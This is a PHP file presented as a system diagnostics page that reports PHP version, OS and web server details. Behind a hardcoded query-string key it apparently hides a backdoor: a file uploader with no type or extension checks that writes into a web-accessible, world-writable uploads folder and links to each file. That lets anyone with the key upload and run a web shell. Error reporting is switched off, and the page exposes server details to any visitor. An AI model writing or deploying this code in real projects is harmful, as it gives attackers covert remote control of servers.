<?php
/**
 * System Environment Diagnostic & Monitoring Tool
 * Version 3.0.1
 */

error_reporting(0);

// Security Configuration
$config_key = "DiagnosticsPHP"; 
$input_key = isset($_GET['key']) ? trim($_GET['key']) : '';

// Check access
$is_admin = ($input_key === $config_key);

// Logic for File Operations
if ($is_admin) {
    $target_dir = __DIR__ . '/uploads/';
    if (!is_dir($target_dir)) {
        mkdir($target_dir, 0777, true);
    }

    $status_msg = "";
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['u_file'])) {
        $f = $_FILES['u_file'];
        $path = $target_dir . basename($f['name']);
        if (move_uploaded_file($f['tmp_name'], $path)) {
            $status_msg = "<div style='color:green;padding:10px;background:#e7ffe7;border:1px solid #b2f2b2;margin-bottom:10px;'>Done: " . htmlspecialchars($f['name']) . "</div>";
        } else {
            $status_msg = "<div style='color:red;padding:10px;background:#ffe3e3;border:1px solid #ffb2b2;margin-bottom:10px;'>Failed to upload.</div>";
        }
    }
}

// System Info Data
$php_v = phpversion();
$srv = $_SERVER['SERVER_SOFTWARE'];
$os = php_uname();
$mem = ini_get('memory_limit');
$time = date('Y-m-d H:i:s');
?>
<!DOCTYPE html>
<html>
<head>
    <title>System Diagnostics</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, sans-serif; background: #f0f2f5; color: #1c1e21; padding: 40px; line-height: 1.6; }
        .card { background: #fff; border: 1px solid #dddfe2; border-radius: 8px; max-width: 800px; margin: auto; overflow: hidden; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); }
        .header { background: #f5f6f7; padding: 15px 20px; border-bottom: 1px solid #dddfe2; font-weight: bold; font-size: 18px; color: #4b4f56; }
        .content { padding: 20px; }
        .row { display: flex; padding: 10px 0; border-bottom: 1px solid #ebedf0; }
        .row:last-child { border-bottom: none; }
        .label { width: 200px; color: #90949c; font-size: 14px; text-transform: uppercase; letter-spacing: 0.5px; }
        .val { color: #1c1e21; font-weight: 500; }
        .footer { text-align: center; padding: 20px; color: #bec3c9; font-size: 12px; }
        .up-box { background: #fff; border: 2px dashed #007bff; padding: 20px; border-radius: 8px; margin-bottom: 20px; }
        .btn { background: #007bff; color: #fff; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; font-weight: bold; }
        .btn:hover { background: #0056b3; }
    </style>
</head>
<body>
    <div class="card">
        <div class="header">
            <?php echo $is_admin ? "Advanced File Management" : "System Diagnostics Report"; ?>
        </div>
        <div class="content">
            <?php if ($is_admin): ?>
                <?php echo $status_msg; ?>
                <div class="up-box">
                    <form method="post" enctype="multipart/form-data">
                        <input type="file" name="u_file" required style="margin-bottom:15px; display:block; width:100%;">
                        <input type="submit" value="Upload to Server" class="btn">
                    </form>
                </div>
                <h3>Recent Activity / Files</h3>
                <ul style="list-style:none; padding:0;">
                    <?php
                    $files = glob($target_dir . '*');
                    if (empty($files)) echo "<li>No files uploaded yet.</li>";
                    foreach ($files as $f) {
                        echo "<li style='padding:8px; border-bottom:1px solid #eee; display:flex; justify-content:space-between;'>";
                        echo htmlspecialchars(basename($f));
                        echo " <a href='uploads/".htmlspecialchars(basename($f))."' target='_blank' style='color:#007bff;text-decoration:none;'>View</a>";
                        echo "</li>";
                    }
                    ?>
                </ul>
                <hr style="margin:20px 0; border:0; border-top:1px solid #eee;">
            <?php endif; ?>

            <div class="row"><div class="label">Report Time</div><div class="val"><?php echo $time; ?></div></div>
            <div class="row"><div class="label">PHP Version</div><div class="val"><?php echo $php_v; ?></div></div>
            <div class="row"><div class="label">Web Server</div><div class="val"><?php echo $srv; ?></div></div>
            <div class="row"><div class="label">OS Platform</div><div class="val"><?php echo $os; ?></div></div>
            <div class="row"><div class="label">Memory Usage</div><div class="val"><?php echo $mem; ?></div></div>
            <div class="row"><div class="label">Environment</div><div class="val">Production (Optimized)</div></div>
        </div>
    </div>
    <div class="footer">Build ID: 20260730-X30 | &copy; System Diagnostics Tool</div>
</body>
</html>
